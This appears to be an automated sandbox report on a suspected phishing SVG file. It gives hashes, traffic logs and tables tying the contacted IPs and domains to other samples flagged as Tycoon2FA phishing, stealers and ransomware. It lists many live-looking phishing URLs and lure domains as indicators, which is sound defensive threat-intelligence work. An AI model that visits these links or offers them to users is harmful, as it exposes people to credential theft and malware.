Excluded IPs from analysis (whitelisted): 142.250.65.206, 142.250.80.3, 142.251.111.84, 142.250.65.174, 142.250.81.238, 142.251.40.238, 142.250.176.206, 208.89.73.17, 142.250.80.110, 142.251.32.110, 142.250.80.14, 172.217.165.138, 142.250.81.234, 142.251.40.170, 142.251.35.170, 142.250.65.170, 142.250.64.74, 142.251.41.10, 142.251.32.106, 142.250.80.10, 142.250.72.106, 142.250.80.42, 142.251.40.138, 142.250.65.202, 142.250.64.106, 142.250.65.234, 142.251.40.106, 142.250.80.46, 199.232.214.172, 142.250.65.163, 142.250.80.78, 142.251.40.142, 184.31.69.3, 4.175.87.197
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
140.82.113.3	RECIPIENT_DOMAIN_NAME.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Acgsys#receipt0191.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	EXTERNAL Cash Flow Analysis Final Review Needed Before Submission.msg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://email.friendbuy-mail.com/ls/click?upn=u001.cLv6DfAR7vFo5oY-2FqNn1ouEQnV2mDIj7j69roW5D9YFmBFwPhHpDSZmf-2B3Pr25NKH1kkrAtv-2FXYlYHDcjRTHmkWY1isyzqTHOYSV2VdQ1tT1G8-2FNMDl8wCw4SYq3K-2F-2FiCbQ7dDyP5dZoLD-2FOxtt8eFMBYOTS0pk89J8UmvCWjzbPwK2xEcw4XEiLFMCga6U0GFvQoOCb0P85sJVWK2Uml3XcdplD23kW-2FTxE-2BtGlDca1HjLRLdUKSNEAochyK-2BchY8B8vmew2v65f73My9ah-2BrdDnS6EIzE4TkvMhxdRHCCReZDVmaDqbPzw7053nhs23dod2YDSiaNB84g8YaMUKurnp9p1y-2B1nQpZebeALMEbnVDu6tTmFR7-2FHyGAHsZk61FyHh9uMQKB5L-2BtyOwTzWn7KvQSyyj3dH1rO4cxBBiWvhshRwgiYR7P05IvjezWCT32bX-2BjQB9JYGnHCuTnaAvsCLBHqTRV-2Bn2Hi3bm3nP1-2Baf7Epl-2FSvdYLY6KlQgLtPuXok3CXKypQBjPnRjTQJI-2BLeqRURlVbUeZHSlyws8Vwyao9B57spuIqsg93t3fmhWl9DmdgmDC4XLsl-2B3GEjzzUpMaNfhpwVuK0PSOtmvx-2F38AbYYESVomxnmKLL-2BOKderogjR3e-2Bpxu1MnWhQI-2Bw-3D-3DW0qv_4pihHygNSB0r9RfW0d44OGid9KPtmw14Y7-2FMHyDwcVW3HSjtuwGFBnBjiQG3-2Fb3urCctiPuIQjHAcBM1R6iFYpm7MuQ2WuMW6LagnpHoXYyjCGCl74vz-2FIqMsuMFvpwGAHIATwDXjaOGIaa8JZk1leLIY5Bb4cDMR5o0OowCLV1fOiEjRPd9ecLAxnTxFow1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	ZGZ3X_nig.exe	Get hash	malicious	Chaos, StormKitty, TrojanRansom	Browse
	virus.exe.bin.exe	Get hash	malicious	Njrat	Browse
	setup.exe	Get hash	malicious	Unknown	Browse
	https://github.com/rapid7/metasploit-framework/raw/c7c0047ea2407acd2b6c1b0c16fc503737d23c37/data/exploits/CVE-2024-30085/cve-202430085-dll.dll	Get hash	malicious	Unknown	Browse
	Contract Invoice Approval.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	vRecording__118sec__Highwoodoil00990__098.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
104.18.94.41	https://bbw.name/t3t/out.php?url=https://gamma.app/docs/Bish-Enterprises-c602sxm5n81qwyl?mode=present#card-i5uz51lfyfocdyu	Get hash	malicious	HTMLPhisher	Browse
	l7bllBsz8E.exe	Get hash	malicious	Unknown	Browse
	http://loginmlcrosoftonline365greatbear.co.uk.verifyex.com/cache/css?email=richard.moorhouse@greatbear.co.uk	Get hash	malicious	HTMLPhisher	Browse
	https://comylubmexicana.com.mx/award	Get hash	malicious	Unknown	Browse
	https://www.powr.io/form-builder/i/39342486#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://app.storylane.io/share/cllvhddxirl7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://login.teamcallreplay.com/oFbles&source=outlook&treatment=1819&qpc=3528737790308&oid=ffe835c0-e3b2-47ef-8660-b4810e324348&hubappid=8682d0fa-50b3-4ece-aa5b-e0b33f9919e2&hubappsubpath=/mail/AAMmAHtGNzM0MzlDMy0xRkNCLTQ3MDMtQUZEOS1FOThBMTVBMDY0NzB9AC4AAAAAAGJMF6RqmolHpsTqJExeXkwBAPvm6dU4ayVJsqZ%2B83HB388AAAJskbgAAA%3D%3D/id/AAQmAHtGNzM0MzlDMy0xRkNCLTQ3MDMtQUZEOS1FOThBMTVBMDY0NzB9ABAAVdifTQ0V902%2BTpC4Cm5J9Q%3D%3D/itemId/AAMmAHtGNzM0MzlDMy0xRkNCLTQ3MDMtQUZEOS1FOThBMTVBMDY0NzB9AEYAAAAAAGJMF6RqmolHpsTqJExeXkwHAPvm6dU4ayVJsqZ%2B83HB388AAAJskbgAAOG16XzPXGBOqxaBxVFQG0MAA1Qavb0AAA%3D%3D/immutableItemId/AAkALgAAAAAAHYQDEapmEc2byACqAC%2FEWg0A4bXpfM9cYE6rFoHFUVAbQwADVBuRpwAA	Get hash	malicious	HTMLPhisher	Browse
	https://jainiklifesciences.com/proposals	Get hash	malicious	HTMLPhisher	Browse
	https://jainiklifesciences.com/proposals	Get hash	malicious	Unknown	Browse
	00583_QB_Payment_Statemnt53T.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
151.101.194.137	http://2gewf232.blogspot.com.au/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery.min.js
	https://kjhgt55555555555.blogspot.com/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery.min.js
	http://kjhgt55555555555.blogspot.cz/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery.min.js
	http://facebooksecurity.blogspot.ro/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://facebooksecurity.blogspot.pe/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://tracker.club-os.com/campaign/click?qDomYmsgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=demsaenlinea.mx/jahn/00987667839933/utilities@affordablecare.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
172.67.167.219	0064_QB_Payment_Statemnt87T.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	34209QB_EFT_Payment_Statemt25.svg	Get hash	malicious	Invisible JS	Browse	151.101.194.137
	https://app.kortex.co/public/document/8838161b-5f2e-4b7c-b66b-ddfd9db20ecd	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.2.137
	34209QB_EFT_Payment_Statemt25.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.66.137
	Workspace Update.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://antiphishing.vadesecure.com/v4?f=NFZ1OXFVNUpJaXhxbWN3aw79TqTxGVr5HS_rj8xy-Dtt3WuOYgiNsT7kSrCL4neS&i=dnZZY1BRdGVud2p5a3J2MkXgKVQslibyjliaROaA9Kc&k=ylKZ&r=eVhRazAzQWpzQlVhVVRabfl7Btopt7tCs6Jhtvvo_JQliQyVoVTnThNthFfLLOv7XziSix9lmqfR7qqdZtpsOw&s=427052c2cb55a4ea4f9c70929c499bda58414514c5d12af8c66341946b20b817&u=https%3A%2F%2Fzmk5ybt5uw.us-east-1.awsapprunner.com%2F%23Xavier.Regnault%40chantiers-atlantique.com	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	suspectTelling clean needful (78.2 KB).msg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://app.heptabase.com/w/9572b61a878f03208943512867a816847d4d23b4f7ccb0a7fe97bab5d1ad7da7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	http://www.bordgaisenergytheatre.ie	Get hash	malicious	Unknown	Browse	151.101.2.137
	Qvc_Audio-Play.0044.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	https://www.powr.io/form-builder/i/39342486#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
github.com	suspectTelling clean needful (78.2 KB).msg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	https://app.heptabase.com/w/9572b61a878f03208943512867a816847d4d23b4f7ccb0a7fe97bab5d1ad7da7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	Qvc_Audio-Play.0044.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	https://www.powr.io/form-builder/i/39342486#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	https://app.storylane.io/share/cllvhddxirl7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	VMenuGTAG.bat	Get hash	malicious	XWorm	Browse	140.82.121.4
	output.vbs	Get hash	malicious	Unknown	Browse	140.82.112.3
	h2H2R15NDO.exe	Get hash	malicious	LummaC Stealer	Browse	140.82.114.4
	m3gyyctL5A.exe	Get hash	malicious	LummaC Stealer	Browse	140.82.113.4
	https://url.us.m.mimecastprotect.com/s/nZZ9Crkg3MtnDD2GHzh7U48vkg?domain=orangeconnection.org	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
developers.cloudflare.com	https://www.powr.io/form-builder/i/39342486#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	https://app.storylane.io/share/cllvhddxirl7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.5.189
	https://protect.checkpoint.com/v2/r01/___https://lsems.gravityzone.bitdefender.com/xhfsdfMW5hMR~QDcqg1KugH/rhrqqgrWni2pyg1KugH/og75AgMRA37Cu37x!i2GzU2ZBRIJz0ZOA1YpCSoGOfZu2gE3yRpN701JyRpOm4ZZyRp4q0YpC41S1h5KD47KphMiO0J/ARo394ZuDi6WW41uA0ZCGZsV/hKq4hn5DVqi1SpSG0Iiq0YiNiZC33pyAQYOLfD5DVoOH4EWH45yy38iYhrWx0YiVg5yOT0VyRpOmZ1K2gpqsW5R/g5c81YGRQYOLV8umhLS2X6OG02WJ48S4XrSZhspDQYOHj0O/ZZO4YYpEY0i64ZCT0KSvgIWoXKR8hZi9SJ6HZ1WSYoWD07KS1LZBgs09XESu4KOBh0WJ1r02gq3CTL/54pS~WrB7gMqXfMGfR6WVW7iZWpyq45mYQYOHgoWvY6KEf1qKh5OXS2us02tyRp4vTYGnVYGm0Y4HX7SK0ZRyRpOuiEm/SKGC0si/irc90Z63XL9yRp36Z5KZYLlyRpOSWqSIQYOHXLW8X64mhKKzhEGBf0tBX24yV1utSEWG0ISpR7WMR0JDZ80OXrmQYsZyRp4G1suTX1tCYruxfYGJXr6O40SD056PXZOrREqxjZyAjpW7X1yrgYGuiJOUXJcUi50ORqOKTJ4LgJmWWrmJYJKJ0sSZVZuy08uNXK4G1LW5WEGWRYOST1SrY7KI400ERquY06iU32JCgLcxTZSX3EmVV0uCR8iWW2O9QYOHi8mrYLcRg5mPg5i9S0p5iqOo12G6i0ZyRp44TMh7RIqnV2iJX7/G4pK6j1BBWLC5R5qSg00pZJO2YqmTXZC2Zr/0310008uSX005S6Kt100zTKKDS2W2f0RBX7K/jolDfqqQWqSN31mHZr/4Ro4NXqm54p/VgLi01MKBTY3yRp35gLiTY76rW8OMZ5Z8j1uJWp6wR7uNi6GnjrOE4LuRRoRESZ4XjX5DVsqPW7/sfJi5V7c23pu3S1BCYZ/WYr0EV7J6h0mE1J4vV0WsQYSJQYSJWo0kXKb5hLqtXMqsYqSHRMN/Zr42RLV5SJcPfKS6WrmuZrCXiK4Rh2m~08WYXMSmg1q6Z1l5Z00~Y1WChJ0t0Ii6hES8XImMiM0QYryZ4EWO1KqsSZ0K00WfX5WS11C636i63Ep80qSYjo4mWE4111p6Y5tyRp4Y45c43py9fEqOV5351KGy1Km/R0S40H5DWqZC0JyGW1iAYIqCgMG7gZS~003CX1yMV0GDfsZyRp38f54wZJuS00O7R5cE1ol6jJ6XhMpD1p0vj0uXi0uZf6JyRp4GRZ6IgpC/0puyW0itV0JyR5VyR5V=dJ9a86J/5GGJ6/HFH867JHa95G57Ja897H65~G65b9/b7c9/a8J6JI56758~GFFJI?h=6&fru;n=6&fru;ithx=6___.YzJ1OnNlcXVhbGNvcnA6YzpvOjVjN2U0MGNlMGRhNDNkZDEwYjk3ODU0ZTRhMGNmYTFjOjc6MDQyMTpiZDMwNmQ3NDgyNWUwNmM1NzVmMTk0YTFiN2ZjZDQ3NWZjMzIzMTMzNjg2ZmY0ZTMyY2VmMDdmYWRhZDI0MTJjOmg6VDpU	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.5.189
	00583_QB_Payment_Statemnt53T.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	#U25b6#Ufe0fPLAY-VOICMAIL(2).svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.2.189
	0064_QB_Payment_Statemnt87T.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	EXTERNAL Cash Flow Analysis Final Review Needed Before Submission.msg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://email.friendbuy-mail.com/ls/click?upn=u001.cLv6DfAR7vFo5oY-2FqNn1ouEQnV2mDIj7j69roW5D9YFmBFwPhHpDSZmf-2B3Pr25NKH1kkrAtv-2FXYlYHDcjRTHmkWY1isyzqTHOYSV2VdQ1tT1G8-2FNMDl8wCw4SYq3K-2F-2FiCbQ7dDyP5dZoLD-2FOxtt8eFMBYOTS0pk89J8UmvCWjzbPwK2xEcw4XEiLFMCga6U0GFvQoOCb0P85sJVWK2Uml3XcdplD23kW-2FTxE-2BtGlDca1HjLRLdUKSNEAochyK-2BchY8B8vmew2v65f73My9ah-2BrdDnS6EIzE4TkvMhxdRHCCReZDVmaDqbPzw7053nhs23dod2YDSiaNB84g8YaMUKurnp9p1y-2B1nQpZebeALMEbnVDu6tTmFR7-2FHyGAHsZk61FyHh9uMQKB5L-2BtyOwTzWn7KvQSyyj3dH1rO4cxBBiWvhshRwgiYR7P05IvjezWCT32bX-2BjQB9JYGnHCuTnaAvsCLBHqTRV-2Bn2Hi3bm3nP1-2Baf7Epl-2FSvdYLY6KlQgLtPuXok3CXKypQBjPnRjTQJI-2BLeqRURlVbUeZHSlyws8Vwyao9B57spuIqsg93t3fmhWl9DmdgmDC4XLsl-2B3GEjzzUpMaNfhpwVuK0PSOtmvx-2F38AbYYESVomxnmKLL-2BOKderogjR3e-2Bpxu1MnWhQI-2Bw-3D-3DW0qv_4pihHygNSB0r9RfW0d44OGid9KPtmw14Y7-2FMHyDwcVW3HSjtuwGFBnBjiQG3-2Fb3urCctiPuIQjHAcBM1R6iFYpm7MuQ2WuMW6LagnpHoXYyjCGCl74vz-2FIqMsuMFvpwGAHIATwDXjaOGIaa8JZk1leLIY5Bb4cDMR5o0OowCLV1fOiEjRPd9ecLAxnTxFow1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://lsems.gravityzone.bitdefender.com/scan/aHR0cHM6Ly9lbWFpbC5mcmllbmRidXktbWFpbC5jb20vbHMvY2xpY2s!dXBuPXUwMDEuY0x2NkRmQVI3dkZvNW9ZLTJGcU5uMW91RVFuVjJtRElqN2o2OXJvVzVEOVlGbUJGd1BoSHBEU1ptZi0yQjNQcjI1TktIMWtrckF0di0yRlhZbFlIRGNqUlRIbWtXWTFpc3l6cVRIT1lTVjJWZFExdFQxRzgtMkZOTURsOHdDdzRTWXEzSy0yRi0yRmlDYlE3ZER5UDVkWm9MRC0yRk94dHQ4ZUZNQllPVFMwcGs4OUo4VW12Q1dqemJQd0syeEVjdzRYRWlMRk1DZ2E2VTBHRnZRb09DYjBQODVzSlZXSzJVbWwzWGNkcGxEMjNrVy0yRlR4RS0yQnRHbERjYTFIakxSTGRVS1NORUFvY2h5Sy0yQmNoWThCOHZtZXcydjY1ZjczTXk5YWgtMkJyZERuUzZFSXpFNFRrdk1oeGRSSENDUmVaRFZtYURxYlB6dzcwNTNuaHMyM2RvZDJZRFNpYU5CODRnOFlhTVVLdXJucDlwMXktMkIxblFwWmViZUFMTUViblZEdTZ0VG1GUjctMkZIeUdBSHNaazYxRnlIaDl1TVFLQjVMLTJCdHlPd1R6V243S3ZRU3l5ajNkSDFyTzRjeEJCaVd2aHNoUndnaVlSN1AwNUl2amV6V0NUMzJiWC0yQmpRQjlKWUduSEN1VG5hQXZzQ0xCSHFUUlYtMkJuMkhpM2JtM25QMS0yQmFmN0VwbC0yRlN2ZFlMWTZLbFFnTHRQdVhvazNDWEt5cFFCalBuUmpUUUpJLTJCTGVxUlVSbFZiVWVaSFNseXdzOFZ3eWFvOUI1N3NwdUlxc2c5M3QzZm1oV2w5RG1kZ21EQzRYTHNsLTJCM0dFanp6VXBNYU5maHB3VnVLMFBTT3RtdngtMkYzOEFiWVlFU1ZvbXhubUtMTC0yQk9LZGVyb2dqUjNlLTJCcHh1MU1uV2hRSS0yQnctM0QtM0RXMHF2XzRwaWhIeWdOU0IwcjlSZlcwZDQ0T0dpZDlLUHRtdzE0WTctMkZNSHlEd2NWVzNIU2p0dXdHRkJuQmppUUczLTJGYjN1ckNjdGlQdUlRakhBY0JNMVI2aUZZcG03TXVRMld1TVc2TGFnbnBIb1hZeWpDR0NsNzR2ei0yRklxTXN1TUZ2cHdHQUhJQVR3RFhqYU9HSWFhOEpaazFsZUxJWTVCYjRjRE1SNW8wT293Q0xWMWZPaUVqUlBkOWVjTEF4blR4Rm93MQ==/E4C0FDF07C14D7A4A615FBF328869660B9EADA1B585D41F5290A2FDB03201912?c=1&i=1&docs=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://email.double.serviceautopilot.com/c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_Ek8Hcbx9fn9ttbO_jm8HMj1SXo5_X2Bc8ZF7XvDGjjv0Y8sK68GeC_wAAAP__35laBg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GITHUBUS	suspectTelling clean needful (78.2 KB).msg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	https://app.heptabase.com/w/9572b61a878f03208943512867a816847d4d23b4f7ccb0a7fe97bab5d1ad7da7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	Qvc_Audio-Play.0044.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	https://www.powr.io/form-builder/i/39342486#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	https://app.storylane.io/share/cllvhddxirl7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	VMenuGTAG.bat	Get hash	malicious	XWorm	Browse	140.82.121.4
	output.vbs	Get hash	malicious	Unknown	Browse	140.82.112.3
	h2H2R15NDO.exe	Get hash	malicious	LummaC Stealer	Browse	140.82.114.4
	m3gyyctL5A.exe	Get hash	malicious	LummaC Stealer	Browse	140.82.113.4
	https://url.us.m.mimecastprotect.com/s/nZZ9Crkg3MtnDD2GHzh7U48vkg?domain=orangeconnection.org	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
FASTLYUS	34209QB_EFT_Payment_Statemt25.svg	Get hash	malicious	Invisible JS	Browse	151.101.194.137
	https://app.kortex.co/public/document/8838161b-5f2e-4b7c-b66b-ddfd9db20ecd	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.192.176
	34209QB_EFT_Payment_Statemt25.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.66.137
	https://bbw.name/t3t/out.php?url=https://gamma.app/docs/Bish-Enterprises-c602sxm5n81qwyl?mode=present#card-i5uz51lfyfocdyu	Get hash	malicious	HTMLPhisher	Browse	151.101.65.55
	Workspace Update.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://promo-offer.site/tnf_pt	Get hash	malicious	Unknown	Browse	151.101.193.44
	https://medpetroenergydmcc.com/court/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.132
	https://yousign.app/signatures/f4bc189e-eb94-419a-8c6d-f771bde372b3?s=801791fbcf262c5f0bb15f5752069a2688018a0dba6f5ec910fda8abdadc27ffa3bbd590e9689442d02c12f9e6c4e6ece12f7b0cf847c0521a88de6016075c39&r=34449ad686b12baff90ef39bb3be4334&source=email&lang=fr&magic_link_id=8e2d9b37-150d-4509-9a7a-10125e260c14&domain_id=b48fb217dc&k=zqvNTc7eaLGc3vUtOaMyEtccEILIqP1g	Get hash	malicious	Unknown	Browse	151.101.129.55
	https://antiphishing.vadesecure.com/v4?f=NFZ1OXFVNUpJaXhxbWN3aw79TqTxGVr5HS_rj8xy-Dtt3WuOYgiNsT7kSrCL4neS&i=dnZZY1BRdGVud2p5a3J2MkXgKVQslibyjliaROaA9Kc&k=ylKZ&r=eVhRazAzQWpzQlVhVVRabfl7Btopt7tCs6Jhtvvo_JQliQyVoVTnThNthFfLLOv7XziSix9lmqfR7qqdZtpsOw&s=427052c2cb55a4ea4f9c70929c499bda58414514c5d12af8c66341946b20b817&u=https%3A%2F%2Fzmk5ybt5uw.us-east-1.awsapprunner.com%2F%23Xavier.Regnault%40chantiers-atlantique.com	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://we.tl/t-J9PcqXV8XE	Get hash	malicious	Unknown	Browse	151.101.64.84
CLOUDFLARENETUS	https://serviceindustrverif.com	Get hash	malicious	Unknown	Browse	172.67.205.57
	https://serviceauthfoap.com/%20#%20I%20am%20not%20a%20robot:%20Cloudflare%20Verification%20ID:%2077FA-YOX	Get hash	malicious	Unknown	Browse	172.67.168.79
	3675918948.svg	Get hash	malicious	HTMLPhisher	Browse	104.21.27.152
	3675918948.svg	Get hash	malicious	HTMLPhisher	Browse	104.21.27.152
	34209QB_EFT_Payment_Statemt25.svg	Get hash	malicious	Invisible JS	Browse	104.21.65.232
	https://app.kortex.co/public/document/8838161b-5f2e-4b7c-b66b-ddfd9db20ecd	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.21.48.156
	34209QB_EFT_Payment_Statemt25.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.21.65.232
	https://bbw.name/t3t/out.php?url=https://gamma.app/docs/Bish-Enterprises-c602sxm5n81qwyl?mode=present#card-i5uz51lfyfocdyu	Get hash	malicious	HTMLPhisher	Browse	172.67.206.25
	l7bllBsz8E.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
CLOUDFLARENETUS	https://serviceindustrverif.com	Get hash	malicious	Unknown	Browse	172.67.205.57
	https://serviceauthfoap.com/%20#%20I%20am%20not%20a%20robot:%20Cloudflare%20Verification%20ID:%2077FA-YOX	Get hash	malicious	Unknown	Browse	172.67.168.79
	3675918948.svg	Get hash	malicious	HTMLPhisher	Browse	104.21.27.152
	3675918948.svg	Get hash	malicious	HTMLPhisher	Browse	104.21.27.152
	34209QB_EFT_Payment_Statemt25.svg	Get hash	malicious	Invisible JS	Browse	104.21.65.232
	https://app.kortex.co/public/document/8838161b-5f2e-4b7c-b66b-ddfd9db20ecd	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.21.48.156
	34209QB_EFT_Payment_Statemt25.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.21.65.232
	https://bbw.name/t3t/out.php?url=https://gamma.app/docs/Bish-Enterprises-c602sxm5n81qwyl?mode=present#card-i5uz51lfyfocdyu	Get hash	malicious	HTMLPhisher	Browse	172.67.206.25
	l7bllBsz8E.exe	Get hash	malicious	Unknown	Browse	172.64.41.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://ojjk.threaw.ru/mnwFd5onowWAHTghXXWAijTPXzNan5WlIhl678142
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

File type:	data
Entropy (8bit):	3.838721217932479
TrID:	Lumena CEL bitmap (63/63) 60.58% Corel Photo Paint (41/41) 39.42%
File name:	4354_QB_Paymt_Statemnt.svg
File size:	2'800 bytes
MD5:	6295d383a832256b8d951cf19d44cabe
SHA1:	4803fd38f9ce998bbaeeda4e931014ae4c10cfa6
SHA256:	7f8d543c9b838817e52d1c0ddeb203a892c7d0bc392c7df5f14ac33717d34b3f
SHA512:	c6e421fd48adf0eac3fdf44a941ea2bd3e6ce1bd777641dece2dec41264398d759292d0ff4c353ba930b246bddaa954ecb44bf181106300112ad3b18cc4325ff
SSDEEP:	48:RnAVN6rFubHAl98KhccDHbBFqzqBQ+p4hQzVbF/JCG4wWMSTAogGQse:LcAlXpDHbBFQ46QzVpBkwWMrogL
TLSH:	EB516D1321DD021AB1B27F58D6F51126AE63B9266D3CEB0C02D7060D4AD3E459C99BEF
File Content Preview:	<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.8.". .s.t.a.n.d.a.l.o.n.e.=.".n.o.".?.>.....<.s.v.g. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.2.0.0.0./.s.v.g.". .w.i.d.t.h.=.".4.0.0.". .h.e.i.g.h.t.=.".2.5.0.".>.....<.s.c.r.i

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 25, 2025 16:26:55.180057049 CET	53	56125	1.1.1.1	192.168.2.6
Mar 25, 2025 16:26:55.267589092 CET	53	64657	1.1.1.1	192.168.2.6
Mar 25, 2025 16:26:55.975011110 CET	53	59814	1.1.1.1	192.168.2.6
Mar 25, 2025 16:26:56.178208113 CET	53	51540	1.1.1.1	192.168.2.6
Mar 25, 2025 16:26:59.374555111 CET	53534	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:26:59.374672890 CET	61345	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:26:59.480401993 CET	53	53534	1.1.1.1	192.168.2.6
Mar 25, 2025 16:26:59.481372118 CET	53	61345	1.1.1.1	192.168.2.6
Mar 25, 2025 16:27:00.591044903 CET	52748	53	192.168.2.6	1.1.1.1
Mar 25, 2025 16:27:00.591872931 CET	56732	53	192.168.2.6	1.1.1.1
